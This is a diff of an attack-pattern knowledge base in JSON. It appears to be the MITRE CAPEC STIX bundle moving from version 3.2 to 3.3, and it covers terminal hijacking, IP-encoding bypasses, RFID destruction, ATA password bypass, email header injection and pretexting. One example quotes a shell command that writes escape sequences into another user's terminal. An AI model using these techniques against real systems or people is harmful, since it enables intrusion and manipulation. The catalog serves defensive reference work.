a remote transmitter. This allows the attacker to duplicate the signal and conduct attacks such as gaining unauthorized access to a building or impersonating a user's identification.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23119,11 +24653,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ca237733-be3e-4d9c-85a0-d18cb1c8295d" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17", "name": "Using Alternative IP Address Encodings", "description": "This attack relies on the attacker using unexpected formats for representing IP addresses. Networked applications may expect network location information in a specific format, such as fully qualified domains names (FQDNs), URL, IP address, or IP Address ranges. If the location information is not validated against a variety of different possible encodings and formats, the adversary can use an alternate format to bypass application access control.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23182,11 +24716,11 @@ "An adversary identifies an application server that applies a security policy based on the domain and application name. For example, the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by using the IP address of the host instead (http://192.168.0.1:8080/application), the application authentication and authorization controls may be bypassed. The adversary relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f365abec-a16c-48a7-ae51-bdc687d899bb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -23195,23 +24729,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Default deny access control policies", - "type": "course-of-action", - "id": "course-of-action--f365abec-a16c-48a7-ae51-bdc687d899bb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--484c12f4-80ad-4fe0-91ec-ad26afdc6082", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--484c12f4-80ad-4fe0-91ec-ad26afdc6082", "source_ref": "course-of-action--f365abec-a16c-48a7-ae51-bdc687d899bb", "relationship_type": "mitigates", "target_ref": "attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17" }, { + "id": "course-of-action--a4679da3-09cf-480b-ad0c-5606e510b08d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -23220,36 +24756,39 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Input validation routines should check and enforce both input data types and content against a positive specification. In regards to IP addresses, this should include the authorized manner for the application to represent IP addresses and not accept user specified IP addresses and IP address formats (such as ranges)", - "type": "course-of-action", - "id": "course-of-action--a4679da3-09cf-480b-ad0c-5606e510b08d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b789de10-900c-4578-a3f2-13683cc5bbc8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b789de10-900c-4578-a3f2-13683cc5bbc8", "source_ref": "course-of-action--a4679da3-09cf-480b-ad0c-5606e510b08d", "relationship_type": "mitigates", "target_ref": "attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17" }, { + "id": "relationship--62c4c1aa-5430-4146-8735-ca6959483c64", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--62c4c1aa-5430-4146-8735-ca6959483c64", "source_ref": "course-of-action--8a996efc-52e0-4aaf-953a-21c3fe64c64b", "relationship_type": "mitigates", "target_ref": "attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17" }, { + "id": "attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2", "name": "Manipulating Writeable Terminal Devices", "description": "This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23257,7 +24796,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -23307,52 +24846,56 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "\n \"Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being over-privileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals.\n \"$echo -e \"\\033[30m\\033\\132\" > /dev/ttyXX\n where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid.\" [R.40.1][REF-2]\n If the victim continues to hit \"enter\" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.\n " + "\n \"Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being over-privileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals.\n \"$echo -e \"\\033[30m\\033\\132\" > /dev/ttyXX\n where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid.\" [REF-1]\n If the victim continues to hit \"enter\" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify attacker-writable terminals: Determine if users TTYs are writable by the attacker.

    2. Techniques
    Determine the permissions for the TTYs found on the system. Any that allow user write to the TTY may be vulnerable.
    Attempt to write to other user TTYs. This approach could leave a trail or alert a user.

Exploit

  1. Execute malicious commands: Using one or more vulnerable TTY, execute commands to achieve various impacts.

    2. Techniques
    Commands that allow reading or writing end user files can be executed.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--022f6443-4421-4a54-beb6-d471aad577cb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-40-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Ensure that terminals are only writeable by named owner user and/or administrator", - "type": "course-of-action", - "id": "course-of-action--022f6443-4421-4a54-beb6-d471aad577cb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f41d0244-df5c-41e8-9fd1-046642dd7609", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f41d0244-df5c-41e8-9fd1-046642dd7609", "source_ref": "course-of-action--022f6443-4421-4a54-beb6-d471aad577cb", "relationship_type": "mitigates", "target_ref": "attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2" }, { + "id": "relationship--b79f1d6a-d501-4456-9de3-b3cf4778b8f1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b79f1d6a-d501-4456-9de3-b3cf4778b8f1", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--326dfb79-2d81-406a-9977-79e67d8de6e2" }, { + "id": "attack-pattern--309b5fec-8a59-4d28-8a1c-427d289aad93", "name": "RFID Chip Deactivation or Destruction", "description": "An attacker uses methods to deactivate a passive RFID tag for the purpose of rendering the tag, badge, card, or object containing the tag unresponsive. RFID tags are used primarily for access control, inventory, or anti-theft devices. The purpose of attacking the RFID chip is to disable or damage the chip without causing damage to the object housing it. When correctly performed the RFID chip can be disabled or destroyed without visible damage or marking to whatever item or device containing the chip. Attacking the chip directly allows for the security device or method to be bypassed without directly damaging the device itself, such as an alarm system or computer system Various methods exist for damaging or deactivating RFID tags. For example, most common RFID chips can be permanently destroyed by creating a small electromagnetic pulse near the chip itself. One method employed requires the modifying a disposable camera by disconnecting the flash bulb and soldering a copper coil to the capacitor. Firing the camera in this configuration near any RFID chip-based device creates an EMP pulse sufficient to destroy the chip without leaving evidence of tampering. So far this attack has been demonstrated to work against RFID chips in the 13.56 MHz range.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23375,24 +24918,29 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--309b5fec-8a59-4d28-8a1c-427d289aad93" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { - "name": "Hacking Hardware", + "id": "attack-pattern--fdf61d51-9432-47d3-9376-7cf51fc86176", + "name": "Physically Hacking Hardware", "description": "An adversary exploits a weakness in access control to gain access to currently installed hardware and precedes to implement changes or secretly replace a hardware component which undermines the system's integrity for the purpose of carrying out an attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/401.html", "external_id": "CAPEC-401" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1263.html", + "external_id": "CWE-1263" } ], "x_capec_likelihood_of_attack": "Low", @@ -23402,11 +24950,11 @@ "A malicious subcontractor or subcontractor's employee that is responsible for system maintenance secretly replaces a hard drive with one containing malicious code that will allow for backdoor access once deployed." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--fdf61d51-9432-47d3-9376-7cf51fc86176" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--6aac48b7-c277-46ba-b9c0-523471a84c11", "name": "Bypassing ATA Password Security", "description": "An attacker exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23437,11 +24985,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6aac48b7-c277-46ba-b9c0-523471a84c11" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--93f7216f-ddbe-4484-8fa6-87b680f16898", "name": "DEPRECATED: Social Information Gathering Attacks", "description": "This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23465,11 +25013,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--93f7216f-ddbe-4484-8fa6-87b680f16898" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--d4fd1606-6a28-4831-956b-ceab18f3546a", "name": "DEPRECATED: Social Information Gathering via Research", "description": "This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23493,11 +25041,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d4fd1606-6a28-4831-956b-ceab18f3546a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--756a1a93-3734-426c-9e91-f9339de74a7a", "name": "Dumpster Diving", "description": "An adversary cases an establishment and searches through trash bins, dumpsters, or areas where company information may have been accidentally discarded for information items which may be useful to the dumpster diver. The devastating nature of the items and/or information found can be anything from medical records, resumes, personal photos and emails, bank statements, account details or information about software, tech support logs and so much more. By collecting this information an adversary may be able to learn important facts about the person or organization that play a role in helping the adversary in their attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23505,7 +25053,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -23530,11 +25078,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--756a1a93-3734-426c-9e91-f9339de74a7a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--8b329689-f8f8-466e-a890-4e30b8d8ec30", "name": "Pretexting", "description": "An adversary engages in pretexting behavior to solicit information from target persons, or manipulate the target into performing some action that serves the adversary's interests. During a pretexting attack, the adversary creates an invented scenario, assuming an identity or role to persuade a targeted victim to release information or perform some action. It is more than just creating a lie; in some cases it can be creating a whole new identity and then using that identity to manipulate the receipt of information. Pretexting can also be used to impersonate people in certain jobs and roles that they never themselves have done. In simple form, these attacks can be leveraged to learn information about a target. More complicated iterations may seek to solicit a target to perform some action that assists the adversary in exploiting organizational weaknesses or obtaining access to secure facilities or systems. Pretexting is not a one-size fits all solution. Good information gathering techniques can make or break a good pretext. A solid pretext is an essential part of building trust. If an adversary\u2019s alias, story, or identity has holes or lacks credibility or even the perception of credibility the target will most likely catch on.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23574,11 +25122,11 @@ "The adversary dresses up like a jogger and runs in place by the entrance of a building, pretending to look for their access card. Because the hood obscures their face, it may be possible to solicit someone inside the building to let them inside." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8b329689-f8f8-466e-a890-4e30b8d8ec30" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e2e37142-f4ef-407a-a43e-f0e3ecad8596", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", @@ -23587,23 +25135,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "An organization should provide regular, robust cybersecurity training to its employees to prevent successful social engineering attacks.", - "type": "course-of-action", - "id": "course-of-action--e2e37142-f4ef-407a-a43e-f0e3ecad8596" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--bff09429-66bb-4bc2-90be-eb28271786e4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bff09429-66bb-4bc2-90be-eb28271786e4", "source_ref": "course-of-action--e2e37142-f4ef-407a-a43e-f0e3ecad8596", "relationship_type": "mitigates", "target_ref": "attack-pattern--8b329689-f8f8-466e-a890-4e30b8d8ec30" }, { + "id": "attack-pattern--4b3c7a8c-f801-43d9-9ba7-1d0e2dc87e8b", "name": "DEPRECATED: Information Gathering from Traditional Sources", "description": "This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23621,11 +25171,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4b3c7a8c-f801-43d9-9ba7-1d0e2dc87e8b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--0082c733-5245-47ca-a349-6c9fe34114f1", "name": "DEPRECATED: Information Gathering from Non-Traditional Sources", "description": "This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. Please refer to CAPEC-118 : Collect and Analyze Information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23643,11 +25193,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0082c733-5245-47ca-a349-6c9fe34114f1" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1", "name": "Using Meta-characters in E-mail Headers to Inject Malicious Payloads", "description": "This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23712,12 +25262,13 @@ "\n To:From:Headerdef: whatever\n ", "\n Meta-characters are among the most valuable tools attackers have to deceive users into taking some action on their behalf. E-mail is perhaps the most efficient and cost effective attack distribution tool available, this has led to the phishing pandemic.\n Meta-characters like \\w \\s \\d ^ can allow the attacker to escape out of the expected behavior to execute additional commands. Escaping out the process (such as email client) lets the attacker run arbitrary code in the user's process.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. Identify and characterize metacharacter-processing vulnerabilities in email headers: An attacker creates emails with headers containing various metacharacter-based malicious payloads in order to determine whether the target application processes the malicious content and in what manner it does so.

    2. Techniques
    Use an automated tool (fuzzer) to create malicious emails headers containing metacharacter-based payloads.
    Manually tampering email headers to inject malicious metacharacter-based payload content in them.

Exploit

  1. An attacker leverages vulnerabilities identified during the Experiment Phase to inject malicious email headers and cause the targeted email application to exhibit behavior outside of its expected constraints.

    2. Techniques
    Send emails with specifically-constructed, metacharacter-based malicious payloads in the email headers to targeted systems running email processing applications identified as vulnerable during the Experiment Phase.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--361f2be0-52ef-4735-8cc4-8a426c93ca0b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -23726,23 +25277,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Perform validation on email header data", - "type": "course-of-action", - "id": "course-of-action--361f2be0-52ef-4735-8cc4-8a426c93ca0b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--dc743c69-d4ac-4767-91af-c4ef9e82f50a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--dc743c69-d4ac-4767-91af-c4ef9e82f50a", "source_ref": "course-of-action--361f2be0-52ef-4735-8cc4-8a426c93ca0b", "relationship_type": "mitigates", "target_ref": "attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1" }, { + "id": "course-of-action--b3921afe-87f5-45f4-9cd6-6f64aa39debb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -23751,23 +25304,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Implement email filtering solutions on mail server or on MTA, relay server.", - "type": "course-of-action", - "id": "course-of-action--b3921afe-87f5-45f4-9cd6-6f64aa39debb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--78fc3fe0-3e55-40a5-af05-614cea38688b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--78fc3fe0-3e55-40a5-af05-614cea38688b", "source_ref": "course-of-action--b3921afe-87f5-45f4-9cd6-6f64aa39debb", "relationship_type": "mitigates", "target_ref": "attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1" }, { + "id": "course-of-action--06350ba3-c63f-43d3-85a9-3d4be370deba", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -23776,23 +25331,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Mail servers that perform strict validation may catch these attacks, because metacharacters are not allowed in many header variables such as dns names", - "type": "course-of-action", - "id": "course-of-action--06350ba3-c63f-43d3-85a9-3d4be370deba" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5cba6ee4-dbac-4c77-8236-a6fcf7036196", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5cba6ee4-dbac-4c77-8236-a6fcf7036196", "source_ref": "course-of-action--06350ba3-c63f-43d3-85a9-3d4be370deba", "relationship_type": "mitigates", "target_ref": "attack-pattern--30047c4f-cbf1-48ff-906c-3c6d58feb1a1" }, { + "id": "attack-pattern--5c60a410-64a7-46e2-9d46-82a232a6ce3e", "name": "Information Elicitation", "description": "An adversary engages an individual using any combination of social engineering methods for the purpose of extracting information. Accurate contextual and environmental queues, such as knowing important information about the target company or individual can greatly increase the success of the attack and the quality of information gathered. Authentic mimicry combined with detailed knowledge increases the success of elicitation attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23817,11 +25374,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5c60a410-64a7-46e2-9d46-82a232a6ce3e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--03093798-f245-4ed2-a085-88e69d303b11", "name": "DEPRECATED: Pretexting", "description": "This attack pattern has been deprecated as it is a duplicate of the existing attack pattern \"CAPEC-407 : Social Information Gathering via Pretexting\". Please refer to this other CAPEC going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23839,11 +25396,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--03093798-f245-4ed2-a085-88e69d303b11" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--2d533987-71b1-41a3-873b-38d63188d2eb", "name": "Pretexting via Customer Service", "description": "An adversary engages in pretexting behavior, assuming the role of someone who works for Customer Service, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. One example of a scenario such as this would be to call an individual, articulate your false affiliation with a credit card company, and then attempt to get the individual to verify their credit card number.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23868,11 +25425,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2d533987-71b1-41a3-873b-38d63188d2eb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--5e0c909b-70a3-4275-a696-91801247ed68", "name": "Pretexting via Tech Support", "description": "An adversary engages in pretexting behavior, assuming the role of a tech support worker, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. An adversary who uses social engineering to impersonate a tech support worker can have devastating effects on a network. This is an effective attack vector, because it can give an adversary physical access to network computers. It only takes a matter of seconds for someone to compromise a computer with physical access. One of the best technological tools at the disposal of a social engineer, posing as a technical support person, is a USB thumb drive. These are small, easy to conceal, and can be loaded with different payloads depending on what task needs to be done. However, this form of attack does not require physical access as it can also be effectively carried out via phone or email.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23897,11 +25454,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5e0c909b-70a3-4275-a696-91801247ed68" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--7ed74d19-ed2b-40c4-a63c-54367b2653c4", "name": "Pretexting via Delivery Person", "description": "An adversary engages in pretexting behavior, assuming the role of a delivery person, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. Impersonating a delivery person is an effective attack and an easy attack since not much acting is involved. Usually the hardest part is looking the part and having all of the proper credentials, papers and \"deliveries\" in order to be able to pull it off.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23926,11 +25483,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7ed74d19-ed2b-40c4-a63c-54367b2653c4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--490fc09c-a624-44cd-8e9e-f4ce8ad2311e", "name": "Pretexting via Phone", "description": "An adversary engages in pretexting behavior, assuming some sort of trusted role, and contacting the targeted individual or organization via phone to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. This is the most common social engineering attack. Some of the most commonly effective approaches are to impersonate a fellow employee, impersonate a computer technician or to target help desk personnel.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23955,11 +25512,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--490fc09c-a624-44cd-8e9e-f4ce8ad2311e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--eedaef1c-c3fb-4135-a1b5-4b186b9da854", "name": "Manipulate Human Behavior", "description": "An adversary exploits inherent human psychological predisposition to influence a targeted individual or group to solicit information or manipulate the target into performing an action that serves the adversary's interests. Many interpersonal social engineering techniques do not involve outright deception, although they can; many are subtle ways of manipulating a target to remove barriers, make the target feel comfortable, and produce an exchange in which the target is either more likely to share information directly, or let key information slip out unintentionally. A skilled adversary uses these techniques when appropriate to produce the desired outcome. 